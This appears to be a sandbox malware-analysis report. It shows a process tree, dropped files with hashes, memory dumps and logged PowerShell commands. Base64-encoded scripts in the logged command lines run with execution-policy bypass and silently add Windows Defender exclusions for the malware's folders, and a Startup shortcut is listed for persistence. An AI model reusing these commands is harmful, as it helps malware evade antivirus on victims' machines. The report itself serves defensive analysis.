BjAHQAaQBvAG4AIABuAGUAZQBkAGUAZAAuACIADQAKACAAIAAgACAAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQAIAAwAA0ACgAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBvAG0AZQAgAGYAbwBsAGQAZQByAHMAIABtAGkAcwBzAGkAbgBnAC4AIABBAHQAdABlAG0AcAB0AGkAbgBnACAAdABvACAAYQBkAGQAIABtAGkAcwBzAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AcwAuAC4ALgAiAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEEAZABkAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AOgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBVAEMAQwBFAFMAUwA6ACAAQQBkAGQAZQBkACAAZQB4AGMAbAB1AHMAaQBvAG4AIABmAG8AcgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAATABvAGcALQBJAG4AZgBvACAAIgBFAFIAUgBPAFIAOgAgACQAXwAiAA0ACgAgACAAIAAgAGUAeABpAHQAIAAxAA0ACgB9AA0ACgA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4532
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -Command "Write-Host 'Admin: ' -NoNewline; ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); Write-Host 'Execution Policy: ' -NoNewline; Get-ExecutionPolicy"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:636
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand DQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMADQAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAHQAbwBwACcADQAKACQAdABhAHIAZwBlAHQAcwAgAD0AIABAACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwARgBvAGwAZABlAHIAUwB2AGMAJwAsACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwAUwBlAGEAcgBjAGgATgBvAHcAJwApAA0ACgAkAGwAbwBnAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAbQBhAHIAawBzAFwAXABzAG8AdQByAGMAZQBcAFwAcgBlAHAAbwBzAFwAXABQAHIAbwB0AGUAYwB0AEUAdgBhAGwAdQBhAHQAZQBcAFwAYgBpAG4AXABcAHgANgA0AFwAXABSAGUAbABlAGEAcwBlAFwAXABkAGUAZgBlAG4AZABlAHIAXwBjAGgAZQBjAGsALgBsAG8AZwAnAA0ACgAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAFAAcgBvAGcAcgBhAG0AcwBcAFwARgBvAGwAZABlAHIAUwB2AGMAXABcAEMAYQBjAGgAZQBcAFwAZQB4AGMAbAAuAHQAeAB0ACcADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABMAG8AZwAtAEkAbgBmAG8AIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAE0AZQBzAHMAYQBnAGUAKQANAAoAIAAgACAAIAAjACAATABvAGcAZwBpAG4AZwAgAGQAaQBzAGEAYgBsAGUAZAAgABMgIABkAG8AIABuAG8AdABoAGkAbgBnAA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQwByAGUAYQB0AGUATQBhAHIAawBlAHIAIAB7AA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEYAaQBsAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIATQBhAHIAawBlAHIAIABmAGkAbABlACAAYwByAGUAYQB0AGUAZAA6ACAAJABtAGEAcgBrAGUAcgBGAGkAbABlACIADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AA0ACgB9AA0ACgANAAoAdAByAHkAIAB7AA0ACgAgACAAIAAgACQAZQB4AGMAbAB1AHMAaQBvAG4AcwAgAD0AIABHAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEUAeABwAGEAbgBkAFAAcgBvAHAAZQByAHQAeQAgAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgADQAKACAAIAAgACAAJABuAG8AcgBtAGEAbABpAHoAZQBkAEUAeABjAGwAdQBzAGkAbwBuAHMAIAA9ACAAJABlAHgAYwBsAHUAcwBpAG8AbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBUAHIAaQBtAEUAbgBkACgAJwBcACcAKQAgAH0ADQAKACAAIAAgACAAJABhAGwAbABFAHgAYwBsAHUAZABlAGQAIAA9ACAAJAB0AHIAdQBlAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEYAbwBsAGQAZQByACAAbgBvAHQAIABlAHgAYwBsAHUAZABlAGQAOgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABUAGEAcgBnAGUAdAAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAAgAD0AIAAkAGYAYQBsAHMAZQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoADQAKACAAIAAgACAAaQBmACAAKAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAApACAAewANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAQQBsAGwAIABmAG8AbABkAGUAcgBzACAAYQBsAHIAZQBhAGQAeQAgAGUAeABjAGwAdQBkAGUAZAAuACAATgBvACAAYQBjAHQAaQBvAG4AIABuAGUAZQBkAGUAZAAuACIADQAKACAAIAAgACAAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQAIAAwAA0ACgAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBvAG0AZQAgAGYAbwBsAGQAZQByAHMAIABtAGkAcwBzAGkAbgBnAC4AIABBAHQAdABlAG0AcAB0AGkAbgBnACAAdABvACAAYQBkAGQAIABtAGkAcwBzAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AcwAuAC4ALgAiAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEEAZABkAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AOgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBVAEMAQwBFAFMAUwA6ACAAQQBkAGQAZQBkACAAZQB4AGMAbAB1AHMAaQBvAG4AIABmAG8AcgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAATABvAGcALQBJAG4AZgBvACAAIgBFAFIAUgBPAFIAOgAgACQAXwAiAA0ACgAgACAAIAAgAGUAeABpAHQAIAAxAA0ACgB9AA0ACgA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5812
    • C:\Users\Admin\AppData\Local\Programs\FolderSvc\ProtectEvaluate.exe
      C:\Users\Admin\AppData\Local\Programs\FolderSvc\ProtectEvaluate.exe
      1⤵
      • Executes dropped EXE
      PID:3392

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ProtectEvaluate.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ProtectEvaluate.exe.log
          • Size 636B
          • SHA256 7d822fab4f7728a4718395a2b8c6f3f5d637f5893a5675edc5b246673ea860ad
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ModuleAnalysisCache
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 53KB
          • SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b1669e1ba5440f898bf3ce87342c8575f93bca5894fe9bdb41cc2cda0384dba2
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 241ee13d26e5f5929a01703a7d18346af3bc88cad15c6418a2140c11f3a48f93
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d74ec6c69fb7d1c5ccce92de3b0aa3c7267fb52b95c50ef0b6303e47cb2bbb05
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 7689739841eb15bd50034e37d57fe086dae6be8c78ab6a09866f46b4ab0c0192
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 6603264ddc21d775d20aca12c6f34d11887b1627ceb7703af75a370cad94617a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 fe82154b5a77c16df34ede28268eac2c5065e9d7b013536d1f8ca5312e769523
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 09796dbabbf04199391647b285694679ea5f80b8f3ad0388e71ff879356cacbc
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          79664839-47fb-4199-97a1-0a5db410da7e.exe
          • Path C:\Users\Admin\AppData\Local\Temp\79664839-47fb-4199-97a1-0a5db410da7e.exe
          • Size 60KB
          • SHA256 951303fc40222c5627cfbe1cea54847f6c309ea180a69ce883c801cb6f9377bc
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MyUpdaterApp_upd_1.4.19.exe
          • Path C:\Users\Admin\AppData\Local\Temp\MyUpdaterApp_upd_1.4.19.exe
          • Size 86KB
          • SHA256 c45148c42dc75cda6c47d65792223e43f95f22cf3585b7c433bdc115e9b1b0d6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          RES2621.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\RES2621.tmp
          • Size 1KB
          • SHA256 254bb1eb1d058e3572bcc2dcb1210294ae04f0fe48ea0270b90f5740179afc42
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_kxsmi2jl.dzj.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxsmi2jl.dzj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          kjsu5p3m.dll
          • Path C:\Users\Admin\AppData\Local\Temp\kjsu5p3m\kjsu5p3m.dll
          • Size 3KB
          • SHA256 3880dece7832cf8190f93cf12921c96e2f1326979283b89ebffa98aaa046612a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          590aee7bdd69b59b.customDestinations-ms
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          • Size 6KB
          • SHA256 ab754cb0b6969c03d45a68ba11fe1049334c4f1ab42c2a2d513f4149cd332745
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          590aee7bdd69b59b.customDestinations-ms
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          • Size 6KB
          • SHA256 d1a2bf0a587a8bdeed759285e3e23d4e671176f023653fad52e7d28cea93e1ac
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          590aee7bdd69b59b.customDestinations-ms
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          • Size 6KB
          • SHA256 3e849e2667da74013e7ef1a3514fe8d82d84f5b10bfefd0e6282a78aab2635d3
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          590aee7bdd69b59b.customDestinations-ms
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          • Size 6KB
          • SHA256 2a7543be1fb60714f77a06368a45a649126080ffc4c13dd4093f521c581444c5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          protectEV.lnk
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\protectEV.lnk
          • Size 1KB
          • SHA256 1631659c796861eb1f4ca88df7f5a2a9140cf22725e30ae0fbc175ed14d5fb6c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          CSC636129CE11664437A39114CCCF41E88E.TMP
          • Path \??\c:\Users\Admin\AppData\Local\Temp\kjsu5p3m\CSC636129CE11664437A39114CCCF41E88E.TMP
          • Size 652B
          • SHA256 686b019256a73f370cd2daab563c8233ac0a9f847bd8a9f33521e9b0efb3424b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          kjsu5p3m.0.cs
          • Path \??\c:\Users\Admin\AppData\Local\Temp\kjsu5p3m\kjsu5p3m.0.cs
          • Size 177B
          • SHA256 e3d5c0bb3146b61aa9a3bb51c6fa8c6863ede91e2cd3ab1588be56aec2ee6ffb
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          kjsu5p3m.cmdline
          • Path \??\c:\Users\Admin\AppData\Local\Temp\kjsu5p3m\kjsu5p3m.cmdline
          • Size 369B
          • SHA256 932918ad7b942e1c483b3c0a91cb27d3819f469773d46f14d5c7c49114fb6c9e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/636-206-0x000001F847A40000-0x000001F847A4C000-memory.dmp
          Download

          memory/1176-142-0x00000191AB580000-0x00000191AB58C000-memory.dmp
          Download

          memory/1300-25-0x000002BAF78F0000-0x000002BAF78FC000-memory.dmp
          Download

          memory/1612-128-0x000001ECB27E0000-0x000001ECB27EC000-memory.dmp
          Download

          memory/1612-126-0x000001ECB2420000-0x000001ECB2434000-memory.dmp
          Download

          memory/2628-158-0x000001BEC1080000-0x000001BEC108C000-memory.dmp
          Download

          memory/3284-78-0x0000019BB2050000-0x0000019BB205C000-memory.dmp
          Download

          memory/3744-92-0x0000014B71110000-0x0000014B7111C000-memory.dmp
          Download

          memory/4320-69-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4320-70-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4320-67-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4320-66-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4320-7-0x000001DFCF870000-0x000001DFCF892000-memory.dmp
          Download

          memory/4320-10-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4320-0-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4320-68-0x000001DFCF5C0000-0x000001DFCF5CC000-memory.dmp
          Download

          memory/4320-11-0x000001DFE83A0000-0x000001DFE8562000-memory.dmp
          Download

          memory/4320-12-0x000001DFE8AA0000-0x000001DFE8FC8000-memory.dmp
          Download

          memory/4320-32-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4320-31-0x000001DFE81D0000-0x000001DFE81DA000-memory.dmp
          Download

          memory/4320-27-0x000001DFCF740000-0x000001DFCF748000-memory.dmp
          Download

          memory/4320-1-0x000001DFCF5F0000-0x000001DFCF600000-memory.dmp
          Download

          memory/4392-22-0x000001698F0D0000-0x000001698F0DC000-memory.dmp
          Download

          memory/4532-190-0x0000023124F30000-0x0000023124F3C000-memory.dmp
          Download

          memory/5032-72-0x00000236825D0000-0x00000236825DC000-memory.dmp
          Download

          memory/5032-54-0x0000023680A00000-0x0000023680A1A000-memory.dmp
          Download

          memory/5032-55-0x000002369AFB0000-0x000002369B026000-memory.dmp
          Download

          memory/5032-57-0x0000023682620000-0x000002368263E000-memory.dmp
          Download

          memory/5032-75-0x00000236825D0000-0x00000236825DC000-memory.dmp
          Download

          memory/5404-111-0x000001E6C7F30000-0x000001E6C7F3C000-memory.dmp
          Download

          memory/5756-174-0x0000018458D40000-0x0000018458D4C000-memory.dmp
          Download

          memory/5812-222-0x00000216F0540000-0x00000216F054C000-memory.dmp
          Download